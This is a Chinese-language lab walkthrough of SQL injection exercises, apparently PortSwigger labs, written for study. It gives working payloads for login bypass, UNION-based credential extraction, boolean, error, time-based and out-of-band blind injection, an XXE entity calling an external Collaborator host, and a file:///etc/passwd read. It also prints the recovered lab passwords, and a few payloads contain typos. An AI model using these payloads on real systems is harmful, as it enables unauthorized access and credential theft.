
0.写在前面
免责声明:涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透。否则产生的一切后果自行承担!
1.获取隐藏数据
1.1 达成目标
该靶场在产品目录的参数也就是category中存在sql注入,需要做的事是显示出未出售的产品。
# payload
# sql的实例
select*fromproducts wherecategory='product name'andreleased =1
1.2 攻击步骤
该靶场是一个购物网站,罗列了在售卖的不同商品的价格
通过执行画框部分的搜索,来搜索数据库中对应的在售商品。
那么我们可以试着,利用sql注入获取隐藏的没有在售的商品:
第一步,利用burp抓取画框部分搜索相应商品的数据。
数据包如下图所示,观察该数据包发现我们所搜索的关键词放在了url的参数category里面。
当放过该数据包,就搜索到了如下的商品。
第二步,尝试构造payload,返回所有的商品。
# payload
'+or+1=1--
# 产生sql注入的整个语句,这个payload相当返回的是所有的产品,不管是在售的还是未售的
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--'ANDreleased =1
现在需要思考一个问题,为什么这里的payload偏偏是' or 1=1--,不是'and 1=1--也不是'--。如果换成了'and 1=1--,该靶场返回的数据只有Gifts的数据;而'--也是。
如果使用的是and构造的payload,那么前面的select * from products where category = 'Gifts'的查询结果和1=1取共同的数据,前面的select * from products where category = 'Gifts'所返回的就是关于Gifts的产品,而后面的1=1因为在数学上是一个恒等式,因此始终的结果是true。那么一个是部分查询结果,一个是true,取交集也就是关于Gifts的产品数据(不管是已售的还是未售的)。
and从数学角度来看就是交集。从计算机的boolean类型来看:
true and true = true
true and false =false
false and false =false
# payload
'and 1=1--
# payload+sql原句
select * from products where category = 'Gifts' and 1=1--'andreleased =1
如果使用的是'--,这样造成的效果是“--”前面的select查询语句正常执行,而--' and released = 1 被注释掉,这样返回的结果就是关于Gifts的产品数据(不管是已售的还是未售的)。
# payload
'--
# payload+sql原句
select * from products where category = 'Gifts'--'andreleased =1
现在再回过头来看这个靶场的答案,也就是'or 1=1--。or和and是不一样的,从数学的角度来解释,or是并集,and是交集。
从计算机的boolean类型来看:
true or true = true
true or false = true
false or false = false
# payload
' or 1=1--
# payload+sql原句
select * from products where category = 'Gifts' or 1=1--'andreleased =1
综上,该靶场的payload,也就是' or 1=1--所达成的效果就是查询该网站全部的产品,不管是在售的还是未售的。
至此,还需要确定一件事情就是,or和and这两个关键词拼接在sql语句里所达成的效果,或者说是由or或者and关键词拼接恒等式1=1所导致的查询效果,再换句话说,为什么‘or 1=1--这个payload会导致查询的结果就是全部的产品数据呢?
在弄清出这个问题之前,需要先弄清楚sql语句的执行顺序(见下一节,补充资料)
select*fromproducts wherecategory ='Gifts'or1=1--' and released = 1
# 第一步,执行from products
# 第二步,执行where子句
"where子句,在这个子句中,category = 'Gifts'所查询到的就是关于Gifts的产品数据,而1=1就是1。
那相当于就是select * from products where category = 'Gifts'的结果和select * from products where 1的结果取交集
,前面的是部分结果,后面返回的是全部的结果,因此最后取的是全部的结果"
where category = 'Gifts' or 1=1
# 第三步,执行select查询,最后得出了全部的产品数据
成功返回所有商品。
1.3 补充资料
下图为sql语句执行顺序
1.4 参考文档
sql语句执行顺序:
https://blog.csdn.net/dz77dz/article/details/115111559
sql语句中的or和and:
https://blog.csdn.net/yang1234567898/article/details/122216635
2.万能密码攻击
2.1 达成目标
在应用程序的登录界面成功使用administrator账户成功登录即可。
2.2 攻击步骤
和上一个案例一样,还是一个购物网站,但是注意观察右边的画框部分有一个账户的功能。
点击跳转到如下页面。
试试administrator账号+万能密码攻击
# payload
# 该payload的'用来和sql原句的'进行闭合,之后的--则是用来注释后面的sql语句
administrator'--
# payload+sql原句
SELECT * FROM users WHERE username = 'administrator'--'ANDpassword=''
3.sql注入UNION攻击
3.1 确定列的数量
3.1.1 达成目标
在该靶场中,该靶场的category参数存在注入,此次需要达成的目标就是确定该参数所涉及的查询的列数。
3.1.2 攻击步骤
还是之前的商品网站,通过点击画框的地方进行搜索,就可以搜索到相应的商品。
如下就是搜索的结果,可以看出搜索所传递的参数在url上面,参数名为category
可以大胆猜测出这肯定是执行了一个select where类型的sql查询,所传递的参数就在where所限定的参数值
# 猜测的sql语句
selectcommodity,price fromtable1 wherecategory=''
现如今我们需要做的就是探查出select的sql语句到底查询了几列数据。
方法一
第一步,对搜索商品进行抓包。
第二步,对category参数值插入相应的payload
# payload
'+union+select+null--
'+union+select+null,null--
'+union+select+null,null,null--
方法二
第一步,还是对商品的搜索进行抓包。
第二步,插入相应的payload来确定其列数。
# payload
'+order+by+1--
'+order+by+2--
'+order+by+3--
3.1.3 补充资料
在打这个靶场前,阅读了burp官方相关的资料。对于union攻击,有几点需要注意:
当使用union攻击的时候,存在注入的地方必须原sql语句是select语句,这就需要对应用程序的功能进行分析判断。在sql语句中,union的作用就是合并多个查询语句的查询结果。
当使用union攻击的时候,需要注意拼接的sql语句的列数得和sql原句列数保持一致。
当使用union攻击的时候,还需要注意拼接的sql语句的列的数据类型的和sql原句的列的数据类型保持一致。
凡事要问为什么:
为什么拼接的sql语句列数得和sql原句列数保持一致?
为什么拼接的sql语句的列的数据类型和sql原句的列的数据类型的保持一致?
在这里,回答第一个问题。
union要求列数要一致,其实是因为在数据库之中的表结构的要求(具体可百度);如果列数不一致,就破坏了标准的表结构要求。简单来说,如果一个查询结果是只有两列的表,一个是三列的表,那么当使用了union,多出来的列又怎么处理。这就导致完全不知道如何合并;会导致前面说的表结构混乱;所表达的语义也不清不楚;也会产生错误无效的数据。
对于这个确定其列的数量,其能达到此效果的payload分为以下两类:
# payload
# 第一个
'+order+by+1--
# 第二个
'+union+select+null--
那么为什么,这两个payload就可以得出其列的数量呢?
先说第一个,第一个payload('+order+by+1--)的意思就是对select语句的第一列结果集进行排序;order by 2就是对第二列进行排序...以此类推,那么当n(order by n)超过了原本的select语句的列的数量,那么就会报错,解释其n的数字超过了select语句本身的列数。报错内容大致如下:
# 报错内容
The ORDER BY position number 3 is out of range of the number of items in the select list.
那么现在说第二个payload('union+select+null--)。这个payload正如前面所说的,在union语句里面,是要求前后的select语句的列数和类型是一致的,因此可以添加不同数量的null来进行列数的判断,当null的数量超过了前面的select语句的列数,就会导致报错。报错内容大致如下:
# 报错内容
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
3.1.4 参考文档
表结构:
https://zhidao.baidu.com/question/157011604.html
3.2 确定列的类型
3.2.1 达成目标
该靶场的注入点在category参数,需要确定其数据的类型,并且往其注入靶场给定的字符串。
3.2.2 攻击步骤
还是一样的界面,就不赘述了。
传参也是一样的
对此进行抓包,并且插入payload。
数据包如下
# payload
# 第一步,确定有几列数据
'+union+select+null--
'+union+select+null,null--
'+union+select+null,null,null--
这是错误payload导致的结果,也就是上述的' union select null--和' union select null,null--
下图代表该payload生效了
# 第二步,确定数据的类型
'+union+select+'a',null,null--
'+union+select+null,'a',null--
'+union+select+null,null,'a'--
注意:要提交给定的字符串
3.2.3 补充资料
还记得在上一个靶场,也就是确定列的数量这个靶场所提到的union攻击所要满足的条件么。它的第三个条件写的是:当使用union攻击的时候,还需要注意拼接的sql语句的列的数据类型的和sql原句的列的数据类型保持一致。
现在,我们对这个条件进行讨论。
union要保持列的类型一致。如果列的类型不一致,这就会导致合并的不同数据类型的列无法确定其合并后是什么数据类型。比如一列是string,一列是int,那么把他们合并起来,无法确定其类型。
现在还有最后一个问题,正如前面所说,使用union得满足列数一致,类型一致,而第二个payload通过插入了大量的null来确定其列数,那么它又是如何保证其数据类型一致的呢? 在这里就需要了解一下在sql注入中null所产生的作用。
首先得弄清楚null在sql语句中的含义。其实一句话就可以解释清楚,null就是未知的意思。没错就是字面意义的不知道。
为了能够更好的理解null,也为了能够更好的区分null和空值的区别。因此还需要对此具体说明一下。
空值其实也是一个值,只不过它是空的。而null呢,它不存在什么空不空,它就是未知。不过这么说似乎有一点不好理解,那我直接上图图吧。
不好意思,不是这个图图。
我们从空值和null值的长度的角度来理解。如图:
如下是不同空值的长度
可以看出,空值的长度是数值的。那么现在再来看看null的长度。
从上图可以看出,它的长度是null。就像最开始所说的,就是未知。
现在搞清楚了null的含义,那么现在需要弄清楚的是,这个未知的null值在sql注入中能发挥什么作用呢?
现在回想一下这个靶场的payload:
# payload
'+union+select+null,null--
# sql原句+payload
# 假设这两个col的数据类型是字符串
select col1,col2 from products where category = 'xxx' union select null,null--'
还记得之前说的么,使用union原句的时候得满足两边的select语句的列的数据类型是一样的,现在原句的列是字符串,而拼接的列是null,就像我之前所说的,null代表着未知的意思,那么它是怎么做到和前面的字符串的类型保持一致的呢?
因为null是可以被转换成任何数据类型的。这里就涉及到了数据库的隐式转换了。
新的问题又来了,什么是隐式转换,以及它的作用是什么?
首先回答什么是隐式转换:当不同类型的数据用运算符进行拼接的时候,数据类型优先级低的数据类型换转换成数据类型高的数据类型。
上面这句话可能有一点绕,直接举个例子就明白了。
从上图可以看出,在数据库中,整数1和字符串2相加,得到的结果是12。这说明,在这个sql语句中进行了隐式转换,它把整数转换成了字符串,然后进行了字符串的拼接。
而该靶场的payload中的null,就是可以在遇到运算符的时候,转换成不同的数据类型。
3.2.4 参考文档
数据库隐式转换
https://www.cnblogs.com/goloving/p/15222604.html
关于数据库中的null值
https://blog.csdn.net/lnotime/article/details/104847946
关于null可转换成其他数据类型这件事
《黑客攻防技术宝典 web实战篇》(第2版)P222
3.3 获取数据
3.3.1 达成目标
该靶场的注入点在category,需要做的就是,通过这个注入点,获取其users表的username和password列,获取其administrator账户的密码,然后进行登录即可。
3.3.2 攻击步骤
还是这样的一个购物网站,画框部分就是可以进行参数传递的地方。
第一步,对该画框传参的地方进行抓包,确定有几列数据。
# payload
'+union+select+null--
'+union+select+null,null--
由此可以确定有两列数据。
第二步,确定每一列的数据类型。
# payload
'+union+select+'a',null--
'+union+select+'a','a'--
由此可以确定,有两列数据,并且均为字符串。
第三步,按照该靶场介绍所说,获取其用户表的用户名和密码。
发现了管理员的账户密码,然后尝试进行登录。
3.4 单个列返回多个值
3.4.1 达成目标
该靶场的注入点在category,需要做的就是,通过这个注入点,获取其users表的username和password列,获取其administrator账户的密码,然后进行登录即可。
3.4.2 攻击步骤
还是一样的商城网站,画框部分可以进行点击传参。
第一步,确定这个传参的查询有多少列。
# payload
'+union+select+null,null--
第二步,确定每列数据的类型。
# payload
'+union+select+1,'a'--
第三步,获取users表的账号和密码。
# payload
'+union+select+username,password+from+users--
由于该靶场表示是从单列获取多列数据,因此尝试如下攻击。
# payload
'union+select+null,
username+||+'~'+||+password+from+users--
使用画框的账户进行登录。
3.4.3 补充资料
在sql注入中,如果遇到了,攻击者需要返回多列的数据,而该sql注入只查询了一列数据的时候该怎么办?
这个时候就需要把多列的数据给串联起来,在不同的数据中,串联的方法是不一样的。
# oracle
'col1'||'col2'
# Microsoft
'col1'+'col2'
# PostgreSQL
'col1'||'col2'
# Mysql
# 中间没空格
'col1''col2'
concat(col1,col2)
3.5 查询数据库类型和版本
3.5.1 Oracle
3.5.1.1 达成目标
获取其数据库版本
3.5.1.2 攻击步骤
还是一样的购物网站。点击画框部分可以进行输入。
插入相应的payload。
# payload
'+union+select+null,banner+from+v$version
3.5.2 Mysql or Microsoft
3.5.2.1 达成目标
获取其数据库版本
3.5.2.2 攻击步骤
一样的网站,话不多说直接开干。
插入相应的payload。
# payload
'+union+select+null,@@version--
3.6 列出数据库内容
3.6.1 非oracle
3.6.1.1 达成目标
获取其管理员密码进行登录
3.6.1.2 攻击步骤
还是一样的输入点
第一步,先判断该sql查询语句有几列。
可以看出有两列内容。
# payload
'+union+select+null,null--
第二步,确定每列的数据类型。
# payload
'+union+select+'a','a'--
可以得出,这两列都是字符串。
第三步,查询有哪些表。
# payload
'+union+select+table_name,'a'+from+information_schema.tables--
浏览查询的表,发现了疑似保存有用户名密码的。
第四步,查询该表有那几列。
# payload
'+union+select+column_name,'a'+from+information_schema.columns+where+table_name='users_gipbpw'--
发现有两列数据,可以看出一列是用户名,一列是密码。
第五步,查询用户名和密码。
# payload
'+union+select+username_kukssi,password_sfzwns+from+users_gipbpw--
成功发现管理员的密码。
最后,输入密码进行登录。
3.6.2 oracle
3.6.2.1 达成目标
获取其管理员密码进行登录
3.6.2.2 攻击步骤
废话不多说,直接开干。
第一步,确定该sql查询语句有几列。
# payload
'+union+select+null,null+from+dual--
ps:需要注意的是在oracle里面,用了联合查询,那么就一定要加上from dual
第二步,确定每一列的数据类型。
# payload
'+union+select+'a','a'+from+dual--
由此可以得出,这两列数据是字符串。
第三步,罗列该数据库有哪些表格。
# payload
'+union+select+table_name,'a'+from+all_tables--
第四步,罗列该表有那几列。
# payload
'+union+select+column_name,'a'+from+all_tab_columns+where+table_name='USERS_IAVHAZ'--
最后一步,查询该表格的账户密码。
# payload
'union+select+USERNAME_ITGAOE,PASSWORD_DGDESM+from+USERS_IAVHAZ--
4. 盲注
4.1 带条件响应的盲注
4.1.1 达成目标
该靶场的注入点在cookie的TrackingID,这个参数可以确定是否是已知的用户。在确定是否是已知用户的时候,肯定会有一个查询语句和sql注入进行交互。因此,需要利用这个参数,来进行sql盲注,从而获取其users表的administrator的密码,然后进行登录即可。
小提示:administrator的密码由小写字母和数字组成
4.1.2 攻击步骤
一样的注入点
第一步,因为这个靶场是盲注,因此,可以通过如下的payload来判断注入点。
# payload
# 查询始终为真
'and'1'='1
这里显示的Welcome back!
# payload
# 查询始终为假
'and'1'='2
这里就没有Welcome back了
由此可以判断出,这里是有注入点的,并且可以通过这个Welcome back来进行注入
第二步,通过注入获取密码。
# payload
# 在这里的关键就是使用了substring函数,这个函数用来提取字字符串
'and+substring((select+password+from+users+where+username='administrator'),1,1)='a
在intruder来进行批量暴破以此获取其密码。
使用对应的字典
提取响应的相应关键词
成功获取到了密码
密码:jdzux5p8791hxl7gejul
4.1.3 补充资料
到现在为止,已经接触了sql注入显注和布尔盲注,也就是此靶场。有一个问题,为什么在显注里面,可以直接通过单引号之类的字符就可以判断其注入点,而在布尔盲注里面,必须得通过其and的方式来判断呢?
首先,先说一下sql显注,因为是显注,导致可以显示sql注入的报错信息,那么就可以构造一个导致报错的语句,从而观察其页面反应有没有sql报错即可,最经典的就是输入单引号。
但是对于布尔盲注是不行的了,因为它没有报错信息,并且sql查询的结果也没有回显。但是,它会返回真假两种状态。举个例子,比如这个靶场,如果sql语句最终为true,那么就会在页面上显示一个welcome back,如过为false,那么页面就不会显示这个welcome back。
至于为什么称为真假两个状态,是因为一般这种类型的sql语句,在开发阶段多少会涉及到if语句的。下面是一个存在sql盲注的案例:
<?php
$con = mysqli_connect('127.0.0.1','root','root','test');
if (mysqli_connect_errno())
{
echo "连接失败".mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i")){
exit("no");
}
$result = mysqli_query($con,"select * from user where id=".$id);
$row = mysqli_fetch_array($result);
# 这下面的关于if的代码就是基于能不能返回sql查询,来进行判断的;而if判断无非真假
if ($row){
exit("yes");
}else{
exit("no");
}
?>
现在把注意力在放到关于判断布尔盲注的payload上:
# 判断是否有布尔盲注的payload
'and+'1'='1
'and+'1'='2
在上述的payload中,因为使用了and,因此拼接起来的sql查询的返回结果注定是true或者false。因为1恒等于1,然后前面的原始sql查询是true,因此最终返回的结果肯定是true,因此在源代码if语句的判断条件就是true,所以就会返回带welcome back的页面;又因为1是不等于2的,导致最终返回的结果肯定是false,因此放在if的条件语句里面直接就是false,从而会返回不带welcome back的页面。
综上,上面的这两个payload其实就是控制sql语句的返回结果使其可以为true或者false,从而触发if不同的结果。
4.1.4 参考文档
sql注入源码:
https://blog.csdn.net/qq_32393893/article/details/109840298
4.2 带条件错误的盲注
4.2.1 达成目标
你需要做的是获取到users表里面的administrator用户的password,然后进行登录即可。需要注意的是,该靶场的数据库是oracle。
4.2.2 攻击步骤
还是一样的网站,一样的输入点。
第一步,判断是否有其注入点。
出现了报错。
恢复正常显示。
但是仅凭这点,是不能确定是否有注入点的,还需要进行进一步的确认。
# payload
# 执行一个空的查询
'||(select+''+from+dual)||'
该页面是正常显示的
# payload
# 因为是oracle数据库,因此涉及到的每一个select查询必须在后边跟上要查询的表
# 后面跟上的这个test表,是一个根本不存在的表,因此这个查询是肯定的会报错的
'||(select+''+from+test)||'
出现了报错,现在就是sql注入石锤了。
第二步,利用这个条件错误,来提取数据库的关键信息。
# payload
# 探测users表是否存在
# rownum=1表示只返回users表的一行数据,因为这里的sql语句是类似于mysql concat,可以防止返回很多行数据从而破坏合并查询
'||(select+''+from+users+where+rownum=1)||'
由此可以确定users表是存在的
当然,也可以利用下面的payload来进行注入点的判断。
# payload
# 相当于python里面的if语句
# case when(condition) then ...(true) else ...(false) end
'||(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)||'
因为1始终等于1,因此就会导致除零错误。
# payload
'||(select+case+when(1=2)+then+to_char(1/0)+else+''+end+from+dual)||'
正常返回
第三步,继续提取我们想要的信息,也就是获取到administrator的密码。
# payload
'||(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
# payload
'||(select+case+when+(1=2)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
由此可以确定users表里面是有administrator账户的。
接下来就需要确定下,administrator的密码长度。
# payload
'||(select+case+when+length(password)=1+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
选择使用暴破的方式来获取administrator的密码长度。
可以确定,密码长度为20
接下来就是最后的环节,也就是猜测密码。
# payload
'||(select+case+when+(substr(password,1,1)='a')+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
密码:n8l3czfh44pxa8ts6vlb
4.2.3 补充资料
对于上述的一系列的攻击,其实笔者存在好几个问题:
第一个问题,在攻击的最开始,使用了单引号来判断注入点,payload如下:
# 原参数值+payload
TrackingID'
TrackingID''
上述的payload会导致web页面相应出现截然不同的结果,第一个payload会导致页面返回500状态码,而第二个payload会导致页面返回200状态码。但是这并不能确定该处就存在sql注入,这是为什么呢?
首先通过单引号注入能判断sql注入这个情况是出现在sql显注里面,也就是说,必须的保证单引号能引出页面返回明显的sql语法错误,这才能确定其是存在sql注入的。
但是现在这个靶场它是不会有回显的,该靶场的逻辑是:如果输入正常的sql字符,那么就会正常返回对应的数据;如果输入非正常的字符,比如单引号,就会导致其500错误,但是这个500错误并未显示其sql语法错误,只显示了一个内部服务错误。
但是输入第二个payload,也就是'',就会正常返回页面。在这里只能说是两个单引号使其闭合了,因此能正常访问。放在真实网站里面,由于完全是处于黑盒状态的,因此并不能石锤有sql注入,因为可能网站对单引号进行了过滤或者转义,或者是不是有安全防护。
第二个问题,也就是接下来的攻击步骤:
# payload
# 执行一个空的查询
'||(select+''+from+dual)||'
为什么不可以借鉴上一个靶场的payload来对sql注入进行判断呢?
直接试试该payload的效果就知道了:
可以看出并未达到想要的效果。
第三个问题,那么是怎么通过'||(select+''+from+dual)||'和接下来的'||(select+''+from+ajfij124)||'来判断出这就是个sql注入的?
# payload
'||(select+''+from+dual)||'
'||(select+''+from+ajfij124)||'
当执行上面的第一个payload的时候,网站响应200状态码,网页正常显示。这说明了一个问题,这个sql语句,生效了,而且使用了dual,因此可以证明这是个oracle数据库(就像在前面的达成目标所说的)。
当执行上面的第二个payload的时候,网站响应500状态码,网页不能正常显示。这是因为我们的from后面接的是一个根本不存在的表ajfij124,因此会报错。
由此可以得出,这个地方肯定是有sql注入的。
在第一个payload中,也就是'||(select+''+from+dual)||',这个dual是个什么意思?(没错,我就是好奇宝宝)
首先,可以肯定的是,这个数据库是oracle,在oracle中,它对sql语法的要求更加严格,是不允许select ' '的存在的,因为这会使得oracle产生歧义,因此必须的指定一个表明才能使得查询正常运行。但是现在的情况就是,我根本不知道有什么表啊(呜呜呜~~~),因此dual就出现了。
dual到底是个什么东西?为什么会出现dual,dual能做什么?
dual存在于oracle中,它是一个单行单列的表格,如下图所示:
那么为什么oracle中会存在这个表格,以及它能够做什么?
首先,它是一个安装oracle后,就存在的表格,在正常用途之中,可以用它来测试一个sql语句,但是又没有数据支撑。
除了上述的payload可以对注入点进行石锤之外,还可以通过如下的payload来对注入点进行石锤。
# payload
'||(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)||'
'||(select+case+when+(1=2)+then+to_char(1/0)+else+''+end+from+dual)||'
为什么可以肯定的是,上述的payload也可以对该注入点进行石锤?
首先,我们得弄清楚上述的payload的所表达的意思:上述的payload产生的效果其实大致相当于python里的if语句所达成的效果,你要说你不知道if语句是个啥意思,那么如下图可以做解释:
需要注意的是,sql语句里面的语法和python里面的语法是有出入的。
在上述的payload也就是sql语句中,它的“if”语句的语法解释如下:
# payload
'||(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)||'
# 语法
case col_name when(condition) then ... else ... end
# 解释
# case后面跟的是涉及到的列名,这个列名不一定要有,然后when就相当于是if,后面跟上条件判断,then就是条件结果为true的情况下所执行的语句,else是条件为假的情况下所执行的语句,end就是表示条件判断结束。
# 对于payload的说明
# 该payload所表达的意思就是,1=1条件为true,因此执行1/0,导致出现了除零错误
在该处的payload还有一个细节需要注意,也就是在1/0这里使用了一个函数,该函数就是to_char,to_char的作用在于把数值型转换为字符串类型。
现在弄清楚了to_char是什么,那么还需要弄清楚的是,为什么在这里要用to_char函数以及发挥了什么作用?
首先在回答这个问题之前,我们需要复习一下sql语句的执行顺序,以该payload为例:
# payload
'||select case when (1=1) then to_char(1/0) else '' end from dual||'
第一步,执行from dual,也就是获取dual表,dual是个单行单列的表格。
第二步,执行case when ...语句。首先判断条件1=1,因为为true,因此执行to_char(1/0)。到这里会先执行1/0,报除零错误,然后再执行to_char函数把报错转换为字符串,以免sql语句在这里因为除零错误未执行完导致报错。
第三步,把该错误信息,封装到case,然后最后传递给select进行执行,最终导致报错。
综上得出,to_char的函数的作用以及它为什么存在,就是为了让sql语句能继续执行。而且,因为使用了||,此符号是用来拼接字符串的。因此也必须得符合字符串这一条件。
最后在观察后续的payload
# payload
'||(select+case+when+(substr(password,1,1)='a')+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
'||(select+case+when+length(password)=1+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
'||(select+case+when+(substr(password,1,1)='a')+then+to_char(1/0)+else+''+end+from+users+where+username='administrator')||'
通过观察发现,上述的payload的,都使用了case when...结构,以及to_char(1/0)。
该靶场的payload的思想,或者说报错盲注的思想其实就是,通过显注的sql语法错误和case when条件判断相搭配,以此来操控页面是否报错,从而通过这种方式来达到获取数据的目的。
4.2.4 参考文档
关于oracle to_char函数
https://www.cnblogs.com/aipan/p/7941917.html
在线oracle
4.3 冗余错误盲注
4.3.1 达成目标
你需要做的是获取到users表里面的administrator用户的password,然后进行登录即可。
4.3.2 攻击步骤
一样的网站,一样的注入点
第一步,判断注入点。
由此可以得出有注入点,但是这个注入点必须得使其产生报错,才能看到其想要的数据。
第二步,探查
# payload
'and+cast((select+1)+as+int)--
报错显示and后面必须是布尔值
# payload
'and+1=cast((select+1)+as+int)--
现在查询其users表的username字段
# payload
'and+1=cast((select+username+from+users)+as+int)--
这个查询被截断了,因此可以推断出该参数值的是有字数限制的。
因此需要重新设计一个payload。
显示查询到的数据太多。
# payload
'and+1=cast((select+password+from+users+where+username='administrator')+as+int)--
这样可以直接得出administrator的密码,但是此payload的行不通
# payload
'and+1=cast((select+password+from+users+where+username='a')+as+int)--
至此可以得出,上述的'and+1=cast((select+password+from+users+where+username='administrator')+as+int)--太长了,导致被截断了。
由此可以得出,该注入点能输入的值的长度为60个字符
# payload
'and+1=cast((select+username+from+users+limit+1)+as+int)--
可以看出users表的第一个username是administrator
# payload
'and+1=cast((select+password+from+users+limit+1)+as+int)--
密码:6pfe7w1q2cgc933x4wy9
4.3.3 小葵花课堂:cast函数和limit
由靶场标题可以得出,该靶场的注入点是一个冗余的错误注入,当sql语句语法发生错误的时候,那么响应页面就会报错,在报错中会显示sql语句。
那么就可以利用它报错的特性来进行注入。但是在注入中发现,该靶场不能一次性返回太多数据,并且它的注入点有字符长度限制,最多60个字符。
基于上述的原因,就不得不使用cast函数和sql 的limit。
cast(expression as data_type),该函数用来将数据的数据类型显示转换(对应前面的隐式转换)成另一种指定的类型。
limit,用来限制数据库所返回的行数。limit 1,就是只返回第一行。
limit很好理解,因为系统不能返回多行数据,因此可以一行一行的返回。
对于cast,观察上述的payload可以发现,它是利用了cast的显示转换使得sql语法出现了错误,从而来进行注入。
#payload
'and+1=cast((select+password+from+users+limit+1)+as+int)--
因为使用了and,这就表示后面的应该是一个布尔值,但是在这里正因为cast的出现,把select password from users limit 1所返回的数据显示转换成整数型,但是因为是密码字段导致无法正常转换,从而产生报错。
4.3.4 参考文档
关于cast
https://blog.csdn.net/qq_21101587/article/details/78642423
4.4 伴随时间延迟的盲注
4.4.1 达成目标
利用sql盲注是系统延迟10s返回数据。
4.4.2 攻击步骤
一样的网站,一样的注入点。
第一步,判断注入点。
# payload
'||pg_select(10)--
由此可以得出,该输入点存在注入。
4.5 通过时间盲注返回信息
4.5.1 达成目标
你需要做的是获取到users表里面的administrator用户的password,然后进行登录即可。
4.5.2 攻击步骤
一样的网站,一样的输入点。
第一步,判断注入点。
# payload
# pg_sleep是postgresql的函数,作用是延迟多少秒进行响应
'||pg_sleep(10)--
第二步,提取数据库中的密码。
确定users表里面有administrator账户。
# payload
'||(select+case+when+(username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users)||'
确定password的长度,长度为20。
# payload
'||(select+case+when+(length(password)=1+and+username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users)||'
猜测administrator的密码。
# payload
'||(select+case+when+(username='administrator'+and+substring(password,1,1)='a')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users)||'
密码:73lmfqil2f02sjkjflek
4.6 带带外通道的盲注
4.6.1 达成目标
利用sql注入来导致至burpsuite的Collaborator的dns查询。
4.6.2 攻击步骤
一样的注入点,一样的网站。
# payload
# extractvalue函数,用来提取xml文档中对应的值
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
4.6.3 一个问题
在关于out-of-band的sql注入中,burp的靶场文档多次提到了异步这个词,也就是下面图片之中的asynchrously这个单词。
而下面这句话它表述的是:假设应用程序会携带和之前一样的sql查询,但是这个查询是异步查询。在原始的线程中,这个应用程序会继续处理用户的请求,并且使用另一个线程来执行对于tracking cookie的sql查询。
再结合上下文,就会发现在此小节之前的sql注入(显注)都是基于该sql查询是同步查询的,也就是意味着,当执行了sql注入的操作,那么该应用程序就必须得等到了其返回的响应之后才能执行下一步动作。这就意味着,我们之前的sql注入都可以单凭web应用的响应所携带的数据来进行对注入的判断。
但是到了这个小节,完全不一样了。因为所执行的sql查询是异步的。
在这里就需要了解一下异步以及线程了。
4.6.4 小葵花课堂:异步和线程
先讲一下线程吧,在讲线程之前,得先简单的了解下进程。
进程就是正在运行的程序实体以及所占用的系统资源。从名字就可以看出它是在活动中的程序。(在windows中可以在任务管理器看到进程)
而线程就是进程的迷你版,一个进程可以有多个进程,一个进程中的线程可共享其资源。线程比进程更灵活,更容易创建撤销。
其实线程的出现是基本更高的并发的考量。因为一个进程的创建与撤销是要对系统资源进行请求和释放的,这就会花费更多的时间。而线程的出现它就帮助进程分担了一定的任务。进程掌管对资源的分配,而线程是负责进行调度。一个是分配单位,一个是调度单位。
现在来讲讲异步。在谈论异步的时候,难免会提到同步异步、阻塞非阻塞。因此在这里就把他们结合起来谈谈。
同步是一个线程处理多个任务,异步是多个线程处理多个任务。因此同步得一个一个任务的处理,而异步可以处理多个任务。
至于阻塞和非阻塞就是针对当前线程是否会被挂起。
4.6.5 小葵花课堂:xxe
xxe的大致原理就是:该漏洞是发生在xml里面的,在xml里面有个叫DTD的概念,中文叫文档类型定义,也就是用来定义所要使用的文档元素,xml不像html,html的文档元素都是事先定义好的,而xml的文档元素需要自己定义。
在DTD中,还有个叫做外部实体引用的概念,正常是用来调用一个外部的DTD,当出现大量的xml使用的是同样的文档元素的时候,那么这个时候外部实体引用就派上用场了,但是也正式由于外部实体引用的存在,就导致了可以引用外部的文件,如果该文件出现了攻击payload,然后在xml中又使用了该文档元素,那么就会导致xxe攻击。
<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">
# xxe实例
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
4.6.6 小葵花课堂:sql里的extractvalue函数
extractvalue函数的正经用途是被用来提取xml文档的值。在sql注入里面可以用来当报错注入来使用(当该注入点的sql语句不是select的时候,又或者该注入点没有回显,属于盲注)。
函数说明:extractvalue(XML_document,XPath_string),XML_document是xml文档对象的名称(字符串格式),而XPath_string就是Xpath,也就是利用该参数对xml文档进行查询。
该函数有一个特性,就是当出现无效的XPath_string参数值的时候,也就是无效的xpath的时候,就会出现报错,而这个报错就可以利用在盲注里面。
4.6.7 小葵花课堂:burpsuite的collaborator
collaborator
在burpsuite的之前的版本里面,是不存在这个功能的,但是在后面的版本里面推出了这个功能。
设置这个功能是为了方便使用out-of-band的技术。因为在渗透测试之中,总会存在不能通过数据包响应或者说不能通过应用程序响应来判断出这个漏洞的。这个时候,就需要把我们想要使用的payload加入外部的服务器,通过外部服务器来查看payload的执行效果。之前爆发的log4j就是利用了外部服务器。
而这里的collaborator就是扮演的了外部服务器的角色。
想要使用collaborator也很简单,基本的使用步骤如下:
第一步,打开该功能。
第二步,在数据包这里,选择要使用collaborator的值,然后点击右键选择insert collaborator payload即可。
